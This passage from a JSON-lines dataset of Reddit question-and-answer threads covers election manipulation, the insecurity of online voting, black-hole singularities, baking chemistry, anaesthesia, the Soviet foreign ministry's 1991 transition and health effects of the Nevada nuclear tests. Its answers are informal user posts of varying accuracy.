data.\n\nNow, of course, there exist lots of countries that have exactly this problem. This is common in Africa ([Zimbabwe](_URL_4_), [South Africa](_URL_8_), [Kenya](_URL_14_)) and other countries. [Iraq claimed Saddam Hussein was elected with 100% of the vote in 2002](_URL_3_). In these instances, the fraud is able to be carried out because of the oppressive and essentially autocratic regimes -- everyone knows the fraud is happening, but no one can do anything about it.\n\nBut let's assume for a second that a government does systematically change the election results. Even then, in a free country with free press, there exists a check: exit polling. News stations typically poll people as they leave a sample of polling places to see how they voted. these exit polls are how they make their predictions about who won before any votes are even counted. These exit polls are based on interactions directly between the people and the news agency -- the government is not involved. So, if a government did anything more than tilt a close election one way, it would show up as a major departure from the exit polls and prompt an investigation.\n\nThe only way for a government to systematically manipulate the results of an election would be to both manipulate the results and manipulate every single news agency reporting on the results. Given the radically different biases of the news agencies, that isn't likely to happen in most civilized countries. It's far, far cheaper and easier to manipulate elections by [selectively](_URL_12_) [preventing](_URL_1_) [or](_URL_6_) [encouraging](_URL_2_) [people](_URL_11_) [from](_URL_5_) [voting](_URL_13_) [in](_URL_9_) [the](_URL_7_) [first](_URL_0_) [place](_URL_10_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.journalstandard.com/article/20140616/Opinion/140619415", "http://freedomoutpost.com/2014/09/democrats-manipulating-elections/", "http://www.thenation.com/blog/172659/new-new-scheme-rig-electoral-college-divide-dem-votes-winner-take-all-gop", "http://news.bbc.co.uk/2/hi/2331951.stm", "http://www.bbc.com/news/world-africa-23591941", "http://www.alternet.org/story/69927/how_conservatives_manipulate_people_into_voting_against_their_best_interests", "http://www.politicususa.com/2014/09/21/republicans-steal-senate-rigging-kansas-senate-election.html", "http://truth-out.org/buzzflash/commentary/gop-voter-registration-irregularities-generally-overlooked-by-mainstream-media/17538-gop-voter-registration-irregularities-generally-overlooked-by-mainstream-media", "http://efp.org.uk/massive-fraud-in-2014-south-africa-election/", "http://www.iefd.org/articles/media_ignore_evidence.php", "http://cjonline.com/blog-post/kevin-mcginty/2014-10-01/course-democrats-are-trying-manipulate-kansas-senate-race", "http://www.thenation.com/blog/174652/texas-redistricting-fight-shows-why-voting-rights-act-still-needed", "http://www.cleveland.com/opinion/index.ssf/2014/01/manipulating_voting_laws_to_wi.html", "http://www.pbs.org/newshour/rundown/gop-gerrymandering-creates-uphill-fight-dems-house/", "http://www.pambazuka.net/en/category/features/86578"]]}
{"q_id": "9us6g7", "title": "why can't we vote online? it seems ridiculous we have to drive to do such a simple and important task.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9us6g7/eli5_why_cant_we_vote_online_it_seems_ridiculous/", "answers": {"a_id": ["e96kgxm", "e96kiq7", "e96kjzb", "e96km31", "e96krex", "e96ku01", "e96l7cf", "e96ldlh", "e96my5p"], "score": [25, 2, 4, 3, 2, 3, 4, 3, 2], "text": ["Because there is no way to make it even close to secure enough. And only a fool would trust that system.", "Hackers can break in the system if its not encrypted. It costs a TON to encrypt all that data", "Computers can be hacked. Paper ballots are safer. Even electronic machines used on-site are safer. ", "Companies re getting hacked left and right, our voting machines are insecure as is and you want to vote online?!?!\n\nAnd that's not taking into consideration that an entire political party doesn't WANT everyone to vote. Because as the number of voters increases their chances of winning goes down.\n\nGoogle Goo Goo Syndrome. (Good Government Syndrome.)", "As everyone else has said, it would be virtually impossible to secure the systems, to prevent election rigging. ", "Speaking as someone who has worked in IT for well over a decade That is a **really** terrible idea and you should never trust something as important as voting to software.\n\nThe webcomic XKCD summed this up quite nicely.\n\n\"Everyone in our field (IT) is terrible at what we do and if you rely on us everyone will die.\"\n\nOnline based voting systems will never be secure enough and will be vulnerable to tampering and manipulation on a catastrophic scale.\n\n", "Security. \n\nThere are a lot of security issues with even the electronic machines used to vote in person...\n\nYou basically have 3 goals: make sure everybody votes only once, that their vote is counted correctly, but that *nobody knows who they voted for*, because Americans have a right to privacy about who they vote for.\n\nYou can do this in person. When people show up to vote, check their names off of a list so they can\u2019t vote again, and give them a ballot. But the ballot *doesn\u2019t have their name on it*. If you\u2019re unsure whether a vote was counted correctly, you can re-count the paper ballots again. Each ballot has no record of who filled it out, but you do know that it was filled out legitimately because showing up and having your name checked off the list is the only way to *get* a ballot.\n\nThere are no easy way to do this with a computer. Say a vote was added. There\u2019s no way to know it was illegitimate because it\u2019s just another line in a spreadsheet or whatever... it has no physical characteristics that would stop it from being a duplicate or fake of a real vote. \n\n... unless you link each vote to a record of who cast it and when, to help detect duplicates or fakes. In which case you know who *real* voters picked. Which we can\u2019t do for privacy reasons.\n\n", "Have you read through reddit?  How many people would vote just to be troll'y?  A slight inconvenience keeps the trolls away.\n\nPlus, how do you keep people from selling their vote (I have to present photo ID, which verifies who I am before I vote).  Lots more opportunity for voter fraud.\n\nPlus, most states offer mail-in ballots if it's really that hard to go.", "Everyone has said that security is the main issue. While security is a major concern, that is not the real problem. The US requires a secret ballot, and it it is 100% impossible to create a provably secret ballot online. Without a secret ballot, vote selling and voter intimidation are a major problem.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "3q1odh", "title": "Since a singularity is infinitely small, can 2 singularities be in the same place?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3q1odh/since_a_singularity_is_infinitely_small_can_2/", "answers": {"a_id": ["cwbc17h"], "score": [93], "text": ["Singularities in general aren't infinitely small points, it's more common for them to have the structure of instants in time - this is the case for the Big Bang singularity or that beyond a black hole. In those two cases respectively the singularity is in the past of any observer and in the future of any observer who has crossed the horizon.\n\nThe exception would be given by naked singularities such as that in an overextremal charged black hole, but these are not thought to be realizable in our Universe. These singularities look indeed like point in space - i.e., they have the structure of a time-like wordline (in some sense). But, again, these probably don't exist, and also are repulsive, not attractive.\n\nIn any case, the question is ill-defined because \"being in the same place\" means that it's understood that there's a coordinate system (t,x) defined on your manifold, and these two objects at fixed coordinate time t have the same coordinate position x. However a singularity is not part of the manifold, it's informally outside. Formally it's just what the name suggest, a singularity in the behaviour of the Riemannian structure itself as you approach an edge of spacetime. The presence of a singularity will at the very least influence the construction of a coordinate system close to it. In particular, for the singularity of a normal BH, it's impossible to choose the time and space coordinates such that the singularity can be understood as something that is in some place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3714oe", "title": "[Chemistry] Why does cookie dough harden when you heat it, yet so many other things (like metals) melt when you heat them?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3714oe/chemistry_why_does_cookie_dough_harden_when_you/", "answers": {"a_id": ["crj5ekl", "crjgdy8"], "score": [5, 2], "text": ["The cookie dough is losing moisture, cooking ingredients, and caramelizing sugars during the baking process. If you watch, you'll see the cookie in a ball form melt down to a disc due to the butter going into a liquid state. At that point, the heat is drawing moisture out (a little), but caramelizing sugars and cooking egg in the mix. There are other processes that happen as well, depending on the contents of the recipe.", "You should also have a look into the sintering process. If you put a mildly compressed powder into the oven it may strengthen (bricks are made this way). Also in the case of steel, a complex thermal process is needed in order to make it harder. In the case of cookies, as DownwardSpirals said, a combination of evaporation (and melting) of various liquids and chemical reactions, particularly polymer-making reactions, contribute to hardening. There are also [thermosetting polymers](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Thermosetting_polymer"]]}
{"q_id": "3a4a4m", "title": "what do doctors ask you to count backwards from 10 when administering anaesthetic?", "selftext": "Be it kid or adults, via injection or gas mask. \n\nEdit: Why*", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3a4a4m/eli5_what_do_doctors_ask_you_to_count_backwards/", "answers": {"a_id": ["cs95f4m", "cs95hb4"], "score": [12, 34], "text": ["I assume you mean why. This is a tatic to see when you are completly out. It is a simple thing that most people can do.", "Just as another way of seeing when you're unconscious. They don't always ask to count backwards: they may ask you to recite the alphabet, or anything else that would involve you talking uninterrupted. It's not necessary, but for as long as you are still communicating to them, you are obviously still conscious."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "479yfs", "title": "When the Soviet Union Collapsed in 1991, What Happened at the Soviet Embassy in Washington D.C.?", "selftext": "More specifically, I'd be interested in knowing how the transition from Soviet Union to Russia took place.  Also, if there are any interesting stories regarding the transition and any other Soviet embassies, let's hear them!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/479yfs/when_the_soviet_union_collapsed_in_1991_what/", "answers": {"a_id": ["d0cjuqi"], "score": [39], "text": ["Basically, nothing. \n\nWhen examining history, we often view it solely in the dates and numbers, which skews the true sense of time. For example, many believe the Soviet Union fell apart overnight in a night of fire and destruction. But that isn't the case. It was a slow process that began with the election of Gorbachev, who didn't even want to dissolve the Soviet Union. However, his policies opened up the Soviet Union and along with other events led to many of the Soviet states splitting off and declaring independence in 1989 and 1990. The last few to go in 1991 happened during the Coup d'Etat, which is considered the day the Soviet Union fell. The Coup d'Etat became the Coup de Grace for the USSR. It was after the party establishment (mostly military) failed to regain control of the state that the Soviet States were headed for democracy. \n\nBut back to the main question about the Ministry of Foreign Affairs. In 1985, when Gorbachev became Secretary General, he replaced the previous Minister of Foreign Affairs of the Soviet Union with Eduard Shevardnadze, a reformer. As a part of perestroika, Gorbachev placed his own man into office in order to implement his reforms in the USSR's MFA (Ministry of Foreign Affairs). This entailed new buildings, staff requirements, staff, management, etc. The main goal of this was to create a more modern, efficient MFA that was plagued by corruption. However, this is where it becomes complicated. By 1990, Gorbachev knew the Party was loosing power and control at an astounding rate. Gorbachev went through 2 other Ministers before giving Shevardnadze the position again. Despite Gorbachev's attempts to keep the reformation process going, nothing could be done with the fall of the Soviet Union.\n\nI need to backtrack a little here. As most here probably know, the Soviet Union wasn't a single nation (though it acted as such because it was mostly dominated by Russians). The Union of Soviet Socialist Republics was multiple states, including Ukraine, Belarus, all the stans in Central Asia, and the Baltic States. Because of this, each state actually maintained its own Ministry of Foreign Affairs. In Russia, the MFA was led by Andrey Kozyrev. Kozyrev was an ambitious bureaucrat and Russian nationalist who wanted to challenge the Soviet MFA's foreign policy. Well, he didn't have to wait long for it. In the summer of '91, the MFA of the Russian Federation absorbed the MFA of the USSR. \n\nAnd that's the short story of the Russian MFA from 1990 to 1992. Only 2000 personnel were relived due to budget shortfalls and about 3 dozen Soviet embassies were shut down. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "96yqay", "title": "Of all the nuclear tests completed on American soil, in the Nevada desert, what were the effects on citizens living nearby and why have we not experienced a fallout type scenario with so many tests making the entire region uninhabitable?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/96yqay/of_all_the_nuclear_tests_completed_on_american/", "answers": {"a_id": ["e446cki", "e446np3", "e446tp5", "e447108", "e4473nd", "e4477fu", "e447cbt", "e447m0z", "e448598", "e448qw7", "e44aowy", "e44awva", "e44ev3c", "e44iq34", "e44jz6l", "e44md2s", "e44mdl9", "e44qq9z", "e44vxot", "e45132z", "e451e2v", "e4523ry", "e455ela", "e455p4b", "e459h7h", "e459oms", "e45dhx2", "e45gjsi", "e45k3wk", "e45pbx3", "e45w2yb", "e462wjf"], "score": [18, 66, 31, 80, 9331, 9, 20, 935, 7, 3, 97, 15, 1121, 21, 5, 3, 6, 6, 5, 12, 6, 4, 2, 4, 2, 10, 2, 3, 2, 4, 5, 3], "text": ["Not sure about the effects on citizens, but my understanding was that most nuclear testing in Nevada was in deep underground caves which minimized any adverse effects on the population. Fallout, by its very definition, requires an airburst type of detonation in order to disperse radioactive particles in the atmosphere. ", "Thank the vastness of the West and the fact that thermonuclear weapons had not been developed at the time open-air testing was being conducted. With that being said, there were quite a few cancers in nearby regions, but you don\u2019t immediately develop cancer from moderate radiation exposure. Couple that with poor documentation in the 50\u2019s-80\u2019s, if you find yourself with cancer decades later from radiation exposure, good luck fighting for that in court. \n\nFrom Wiki\n >  St. George, Utah, received the brunt of the fallout of above-ground nuclear testing in the Yucca Flats/Nevada Test Site. Winds routinely carried the fallout of these tests directly through St. George and southern Utah. Marked increases in cancers, such as leukemia, lymphoma, thyroid cancer, breast cancer, melanoma, bone cancer, brain tumors, and gastrointestinal tract cancers, were reported from the mid-1950s through 1980", "1. The bombs were relatively small.\n2. The actual site is a desert, without civilization to make it look like the game.\n3. The fallout caused a statistically significant increase of cancer/like sicknesses. [Some stats.](_URL_0_)\n", "The majority of fallout comes from a ground burst, yet most nuclear blasts are air bursts to maximize damage.\n\n\"The air burst is usually 100 to 1,000 m (330 to 3,280 ft) above the hypocenter to allow the shockwave of the fission or fusion driven explosion to bounce off the ground and back into itself, creating a shockwave that is more forceful than one from a detonation at ground level. This \"mach stem\" only occurs near ground level, and is similar in shape to the letter Y when viewed from the side. Airbursting also minimizes fallout by keeping the fireball from touching the ground, limiting the amount of debris that is vaporized and drawn up in the radioactive debris cloud.\"\n\nExamples on Nukemap\n\n100 kt air burst at the Sedan crater - _URL_2_\n\nNo fallout pattern\n\n100 kt ground burst at Sedan crater - _URL_0_\n\nLong fallout pattern\n\n_URL_1_ - the crater was created with a 104 kt device by Operation Storax Sedan shot\n\n\"The explosion created fallout that affected more US residents than any other nuclear test, exposing more than 13 million people to radiation. Within 7 months of the excavation, the bottom of the crater could be safely walked upon with no protective clothing and photographs were taken\"", "Many, many people were exposed to radioactive contamination as a result of these tests. The US government has a [compensation program](_URL_0_) that has paid out over $2 billion to residents of nearby areas. However, nuclear tests cannot make entire regions uninhabitable. People live at the center of Hiroshima and Nagasaki today.", "The short answer is there is one.\nHowever compared with the likes of Fukushima  &  Chernobyl, a Nuclear bomb does not produce a huge amount of contamination partly due to the amount of radio-nuclei present - Approx 50kg of U235 in \"Little Boy\" compared with 20000 kg/year for a 1GW reactor.\n Additionally, the fallout created is usually fired up into the air where the wind dilutes it across a wider area compared with the likes of Chernobyl where a huge cloud of heavier than air particles contaminated soil for miles around.\nThat said, the ground is radioactive around the actual test site and I  wouldn't be stopping around there for a few picnics. The Sedan Test (Shallow underground explosion to see how useful Nukes were in farming - as you do) was one of the most fallout intensive tests ever producing a massive amount of radioactive dust which is believed to have contaminated the food sources.\n\nChernobyl vs Nukes\n_URL_1_\nSedan Crater\n_URL_0_\nGeneral Nevada Stuff - The sources from this are a good read\n_URL_2_", "There were 100 above-ground tests conducted and hundreds of below ground tests, all of which did indeed have health and environmental consequences. The city of [St. George, Utah](_URL_0_) received the vast majority of the nuclear fallout and the area saw a dramatic uptick in cancer diagnoses for several decades following the tests. Large areas of the US were contaminated by Iodine-131, as illustrated in [this map](_URL_1_), but the effects were nowhere near as acute as they were in the immediate vicinity of the testing.\n\nAs for why the whole region isn't considered uninhabitable - parts of it absolutely are. It has been more than half a century since the testing took place, but there are still several areas with high measurable levels of radioactivity. In particular, some of the underground tests left large craters full of radioactive rubble that are considered unsafe even today. Underground testing did a good job at preventing the majority of atmospheric contamination, but left the site itself far more contaminated. There was/is also concern that aquifers in the area were contaminated heavily by all of the underground testing.\n\n", "We did experience it. In fact a group of people got together, mostly Citizens of Utah who lived down wind of the tests. In fact they became known as the \"Down Winders\". They sued the Federal Government, but they lost. Apparently unable to prove their case, even though the increased cancer rates of the Down Winders was well documented.\n\n_URL_0_\n\nAs I was searching for this link, it appears the US is paying people who are down winders that have cancer.\n\n[This](_URL_1_) is a site to get claim forms and information.", "_URL_0_  Perhaps the cause of the cancers that killed these movie stars.\n\nEvery person in the US who was alive during these tests have a different amount of Cesium in their bones than anyone who died before the tests. \n_URL_1_\n\nArchiologists will be able to tell when you lived by this Before fallout/ after fallout.", "Turning Point did a great doc on this-\n\n_URL_0_\n\nI\u2019m from St. George, so I\u2019ve done a bit of research into it out of my own interest. It\u2019s pretty dark stuff! Apparently the Nevada Test Site does a public tour once a month. I\u2019d love to go, but they\u2019re booked out through next summer.", "On a happy note, Akiko Takakura was in reinforced concrete building that was 300 meters from ground zero and sustained only minor injuries from the 16k bomb at Hiroshima.  She was 88 in 2014 and was 20 when it happened.  Drank the black rain and everything.  Had children and raised a family.\n\n\"Twelve of those who were within 500 meters of the hypocenter at the time of the atomic bombing are still alive\"\n\n_URL_0_\n", "I'm surprised no one has mentioned a couple of things.  One, fallout was extensive.  Don't let people say things like \"Low level, minimal ground effects\"\n\nIn fact the radio active fallout was continental in scope.  [Kodak discovered radio active contamination from packing straw in Iowa](_URL_1_)\n\nAnother way they were able to test the fallout; milk.  Radio active fallout would show up in the milk supply as a isotope of Iodine, not found from any other source.   [Likely it killed way more people than the bombs in Hiroshima and Nagasaki ever did.](_URL_2_)\n\nHere's a google search that shows many maps linking the [Iodine in milk from the tests](_URL_0_:)\n\n\nMaybe it's really that there was an active effort to minimize the apparent effects and the fact that it was essentially in one spot.  Millions of Americans likely died because of the testing.  Now if you tested all over the country and focused on city centers you would likely have seen the kind of effects you are asking about.  It's pretty scary to think how extensive the effects were and there were really only a small number of locations used.", "Strictly you can walk around at any of the above ground detonation sites today and suffer no real or obvious ill effects.  You'll get a slight dose but no worse than flying over the poles or living in Telluride (12K feet).\n\nMost fallout has relatively short half-life and that is also the most intense radiologically.  So the greatest risk is short-lived - after 3-6 months, the radiation dose from high radiation sources is 1% of peak; and within 2 years it's a a tiny fraction of that.\n\nLonger half-life materials last longer but have far lower radiation dose so are low risk anyway.  The long half-life sources come to dominate within a few years but are nearly at a background dose rate.\n\nOn top of all of this, there is still weather including rain, snow and wind even in the Nevada desert so what was left on top of the soil has long ago been washed away and diluted to low concentrations.  That further reduces any direct risk.\n\nThis is why you can walk on the detonation sites.  How do I **really, really** know?  I've been to these sites - I used to hold a Q-clearance and participated in \"UGTs for radiation effects on electronics\" back when testing was still being done.  Wore a film badge and all that.  Total radiological dose reports listed nearly zero dose from my visits.  I still have the paperwork for it.\n\nIn general, there's a lot of misinformation about radiation.  People are still stupid enough to confuse non-ionizing cell phones with ionizing gamma rays.  It's almost like we no longer teach science in schools!!", "The fallout due to nuclear testing was extremely widespread across America. For example, regions of New York were as heavily irradiated as some of the heaviest irradiated areas around Nevada. This is due to the explosions kicking up irradiated soil and radioactive particulate riding the jet stream eastward across America. Missouri is another hotbed of radiation due to this spread of radioactivity, there was a study done in St. Louis in the 60's I believe about the amount of radioactive strontium in children's teeth because it acts similarly to calcium, but exists nowhere in the world naturally, so it had to have come from the nuclear tests. There is another great, but devastating article where a woman who lived in Utah(also heavily hit) discusses watching her friends in her neighborhood die of rare cancers and leukemia. She was afflicted with thyroid cancer, due to radioactive iodine getting into the food chain and into the milk she drank,most likely. Its definitely worth a read.\n\nFallout spread map:\n\n[_URL_5_](_URL_4_)\n\nAnother fallout map showing deposit amounts:\n\n[_URL_0_](_URL_0_)\n\nArticle about the woman(Mary Dickson):\n\n[_URL_2_](_URL_2_)\n\nArticle in NYT about the ST. Louis baby teeth survey:\n\n[_URL_3_](_URL_3_)\n\nThere's a ton to dig into here and to cause a fallout scenario in real life, \"Less than two grams of Cesium-137, a piece smaller than an American dime, if made into microparticles and evenly distributed as a radioactive gas over an area of one square mile, will turn that square mile into an uninhabitable radioactive exclusion zone. Central Park in New York City can be made uninhabitable by 2 grams of microparticles of Cesium-137\"\n\nArticle from: [_URL_1_](_URL_1_)", "Not to diminish the suffering if those who have been affected, but the simple fact of the matter is that radiation and nuclear fallout are not nearly so bad as popular media would have you believe.\n\nOh, we still shouldn't be detonating atomic bombs on the Earth's surface (or in orbit...), but the paranoia surrounding, for example, nuclear power, is just absurd.", "One thing I haven\u2019t seen stated in this discussion is that the Nevada tests were all at the start of the nuclear era, when bombs were relatively small. The Hiroshima bomb was only 15 kilotons I think. Today\u2019s bombs are 20+ megatons. If we had done several megaton fusion explosions in Nevada, then it would be full on fall out scenario there.", "There\u2019s a book titled \u201cThe Tainted Desert\u201d by Valerie Kuletz that is specifically about this. It talks about the nuclear testing, and how so much of it was done on land nearby Indian Reservations and that the impact was horrific but how the government used their own studies to prove there wasn\u2019t a connection between the two. It\u2019s similar to the post-9/11 cancer issue for first responders (which was finally corrected) and the current attitude of the American EPA. ", "The easiest way to think about this is, a successful detonation if a nuclear device burns most of the fuel contained in it. Obviously there will be radioactive material released but much less so than a Chernobyl type event.\n\nAbove ground testing spreads a small amount of fuel over a large area, factor in things like altitude and you may even be sending material into the jet stream or another air current which can distribute it for hundreds of miles.\n\nBelow ground testing releases a larger amount of fuel typically due to that fact that the blast is contained and not as much fuel is allowed to be fully consumed, but as long as the surface isn\u2019t breached, most of the waste will be under ground and kept in a smaller area.\n\nObviously factors like the distance from the water table, the yearly level of precipitation, as well as how permeable the soil is all factor in. So does the half life of the primary radioisotope used, some elements degrade into much less harmful elements rather quickly, others take several millennia or more.\n\nCompare this to a Chernobyl type event and it\u2019s not even close to comparable. There were two major explosions during the Chernobyl disaster, one was due to steam pressure, the other is thought to have been a very small scale nuclear explosion. Which one happened first has been a subject of debate. What is fact however is two explosions happening roughly 3 seconds apart tore apart fuel channels and graphite rods, and blew the top and a large portion of one side off of reactor #4.\n\nA smaller series of explosions then sent a large amount of burning nuclear fuel all over the reactor complex, much of it landing on the roof of reactor #3 and a section containing pumps and other cooling equipment. This material was so radioactive that specialized robots that later attempted cleanup were destroyed in minutes due to exposure. The largest chunks of material closest to the blast were from graphite rods that ignited once exposed to the air outside the reactor.\n\nWhen air reached the burning reactor an air flow was established from the intense heat causing a strong thermal updraft that sent material that was now on fire high into the atmosphere above the reactor and carried on air currents far from the site. The area that was directly downwind is now know as the red Forest as the radioactive debris blown there killed the trees and causing them to change to a red color.\n\nThis cloud of material kept spreading out over a significant portion of Europe and dissipating gradually as it went.\n\nReactor number 4 contained just under 200 tonnes of nuclear fuel, a frightening amount of which was blasted out, some researchers are still finding tiny fuel fragments in the town of Pripyat, and surrounding areas in the exclusions zone. \n\nBy comparison, a nuclear bomb with an 8 kiloton yield contains about 1 pound (0.45kg) of uranium. One of the largest blasts at the Nevada test range (shot Storax Sedan) was 104kt (30% fission, 70% fusion). I\u2019m not sure exactly how much material was in the warhead but I\u2019m sure we can safely assume 12 to 15 pounds. \n\nThis 1280 foot wide and 300+ foot deep crater was safe to walk around in without protective gear just 7 months after detonation. Which to me at least, gives a pretty good example of why the test range is relatively safe to visit today.\n\nThe marshal islands are another story altogether, but those were far larger bombs tested there. \n\n", "Fallout is mainly stuff that's already in the environment that gets contaminated by radioactive particles being attached to it. In the case of a nuclear weapon detonated above ground, there's relatively little fallout because most of the radiation is up in the air, it's still dangerous and people still did get exposed to radiation, but it didn't contaminate the soil like you think.\n\nIf you look at an even like Chernobyl, the explosion wasn't like a nuke going off above ground, it was a steam driven explosion that also blew up the source of radiation, and sent tons of radioactive dust into the air which eventually covered the entire area. There's also a lot more radioactive material in a reactor core than there is in a nuclear bomb, so if you generate enough heat to melt that material, and then vaporize it and mix all of that material with dust and debris and spread it out over a small area it's going to be incredibly radioactive, versus a nuclear bomb detonated in the air which will produce less radioactive fallout and also be able to quickly dilute it and spread it out through the air, not much of it settled on the ground and instead it just sort of floated around the globe.", "I went to school with many kids whos parents were part of what they called The Downwinders, all of them having sometype of cancer attributed to the nuclear tests near Wells, NV. They received government payouts for various types of cancer they eventually got later in life. They were not paid enough. ", "It's still affecting Americans today. In fact, victims of the very first atomic weapon detonation (The Manhattan Project) are [still seeking help](_URL_0_). ", "Here is a 1957 map of the nuclear-weapons archive. \n\n[_URL_1_](_URL_1_)\n\nJust for kicks... Compare this to the presidental result per capita in 2016.  \n\n[**_URL_2_](_URL_0_)", "The National Cancer Institute did extensive epidemiology and found the atomic tests caused 10,000 to 75,000 excess cases of thyroid cancer from iodine-131 fallout that got concentrated in cow's milk. NCI made maps showing county-level exposures.\n\n_URL_0_", "You get cancer! And you get cancer! *Everyone* gets cancer! \n\n[John Wayne, Susan Hayward, and 90 other people developed cancer after filming \u201cThe Conqueror\u201d near a nuclear testing site] (_URL_0_)", "You should check out Bundyville, an podcast from an NPR-affiliated radio station that explains the recent actions of the Bundy family and how it is grounded in a history of anti-government beliefs. Turns out Cliven grew up in communities screwed over by the nuclear tests and their fallout, and that significantly contributed to his distrust of the feds.", "The Japanese who survived the acute effects of the US atomic bombs have had normal or even somewhat higher than average life expectancy.\n\nThe exclusion area at Chernobyl is teeming with animal life, now that the humans have left.\n\nThe main cancer-causing effect of the bombs is thyroid cancer from I131. Not only can it be blocked by taking iodide pills, but it has a half-life of only 8 days, so has practically no long-term ability to initiate cancer.\n\nIn the face of REAL threats, like cigarettes, autos, guns, and global warming, it's amazing that people are still obsessing about radioactivity. ", "It had effects on children far away from Nevada. I was a part of the St Louis Baby Teeth Study.\n\"... radioactive strontium-90 levels in the baby teeth of children born from 1945 to 1965 had risen 100-fold and ... rose and fell in correlation with atomic bomb tests.\u00a0 Early results from the Baby Tooth Survey, and a U. S. Public Health Service study that showed an alarming rise in the percentage of underweight live births and of childhood cancer, helped persuade President John F. Kennedy to negotiate a treaty with the Soviet Union to end above-ground testing of atomic bombs in 1963.\"\n_URL_0_", "Most residual radiation actually decays at an exponential rate. The only long lasting radiation comes from the actual residual pieces of the source. That\u2019s why we can visit places like Hiroshima pretty easily (not much actual material), but not places like Chernobyl (lots of material).", "People already talking about the differences between tests and meltdowns, and pointing out that there was indeed some suffering.\n\nBut really the main thing to know here is that (with possibly one tiny exception) none of the Nevada tests were thermonuclear.  This distinction means, at the very least, there's a hard limit on just how big a boom you can get, and there's a pretty direct correlation between yield and fallout.\n\nThere is a reason why there are a bunch of old atomic preparedness films from the late 40s/early 50s.  If it's atom bombs we're talking about, certainly it's not the absolute end of the world (just close).  Those films are laughable today because of the staggering difference in scale offered by hydrogen bombs.", "I HIGHLY recommend this book to anyone interested in the subject:\n_URL_0_\nThis is a superb photojournalistic effort that explores the health issues of those living down wind of the test site.  If this doesn't wake you up to the dangers of blind obedience to authority, nothing will.", "Lots of people were exposed to radiation from the nuclear tests, and it's estimated that up to three quarters of a million people have died prematurely as a result of those tests. At the time they conducted the tests, they didn't realize how dangerous they would be. People affected by the tests are called \"downwinders\". If you want to know more details, google that term.  One of the ways that we came to understand the extent which people were irradiated was the Baby Tooth Survey--researchers collected baby teeth and studied the change in radioactivity  through the years. \n\nIf you're interested in this era, you may want to check out the movie The Atomic Cafe. The documentary was made around 1983 but it was just restored and re-released. ", "One of the effects on citizens that the nuclear bomb tests had that I have not seen mentioned yet, is that there is huge amounts of contaminated water in aquifers in Nevada from underground nuclear tests. I\u2019m talking trillions of gallons. That effects citizens for generations, especially being located in the desert.  \n\nSources: \n\n_URL_1_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Nevada_Test_Site#Cancer_and_test_site"], ["https://nuclearsecrecy.com/nukemap/?&amp;kt=100&amp;lat=37.176944&amp;lng=-116.0461112&amp;airburst=0&amp;hob_ft=0&amp;fallout=1&amp;ff=50&amp;fallout_angle=252&amp;psi=20,5,1&amp;zm=9", "https://en.wikipedia.org/wiki/Sedan_Crater", "https://nuclearsecrecy.com/nukemap/?&amp;kt=100&amp;lat=37.176944&amp;lng=-116.0461112&amp;hob_psi=5&amp;hob_ft=4755&amp;fallout=1&amp;ff=50&amp;fallout_angle=252&amp;psi=20,5,1&amp;zm=10"], ["https://www.justice.gov/civil/common/reca"], ["https://www.ctbto.org/specials/testing-times/6-july-1962-sedan-massive-crater-massive-contamination", "https://en.wikipedia.org/wiki/Comparison_of_Chernobyl_and_other_radioactivity_releases", "http://www.nuclear-risks.org/en/hibakusha-worldwide/nevada-test-site.html"], ["https://en.wikipedia.org/wiki/St._George,_Utah#Nuclear_contamination", "https://upload.wikimedia.org/wikipedia/commons/3/37/US_fallout_exposure.png"], ["https://www.hrsa.gov/get-health-care/conditions/radiation-exposure/downwinders.html", "https://downwinders.info/"], ["https://www.imdb.com/title/tt0049092/trivia", "https://semspub.epa.gov/work/HQ/176308.pdf"], ["https://youtu.be/N2XXlO240ac"], ["http://www.hiroshimapeacemedia.jp/?bombing=hiroshima-70-years-after-the-a-bombing-close-range-survivors-part-10"], ["https://www.google.com/search?q=FAllout+and+it%27s+effect+on+milk+production+in+the+US&amp;safe=off&amp;rlz=1CASMAK_enUS796US796&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwjVgejXsercAhUOTawKHU35Cg0Q_AUICygC&amp;biw=1200&amp;bih=651#imgdii=z0buwH2mIMB94M:&amp;imgrc=JltfocZmOcCHXM", "https://www.popularmechanics.com/science/energy/a21382/how-kodak-accidentally-discovered-radioactive-fallout/", "https://qz.com/1163140/us-nuclear-tests-killed-american-civilians-on-a-scale-comparable-to-hiroshima-and-nagasaki/"], [], ["https://nukewatch.org/graphics/US-total-fallout-51-70.jpg", "https://ratical.org/radiation/Fukushima/StevenStarr.html", "http://archive.sltrib.com/article.php?id=4427087&amp;itype=CMSID", "https://www.nytimes.com/2010/12/14/health/14cancer.html", "https://makingmaps.files.wordpress.com/2011/03/nuclearsplat_title.jpg", "https://makingmaps.files.wordpress.com/2011/03/nuclearsplat\\_title.jpg"], [], [], [], [], [], [], ["https://www.abqjournal.com/1206424/new-mexico-gov-hopefuls-vow-to-help-trinity-test-descendants.html"], ["https://da.wikipedia.org/wiki/Fil:2016_Presidential_Election_by_County.svg", "https://nuclearweaponarchive.org/Usa/Tests/Pbscd.gif", "https://da.wikipedia.org/wiki/Fil:2016\\_Presidential\\_Election\\_by\\_County.svg**"], ["https://www.nytimes.com/1997/08/02/us/thousands-have-thyroid-cancer-from-atomic-tests.html"], ["https://www.thevintagenews.com/2018/02/19/the-conqueror-film/"], [], [], 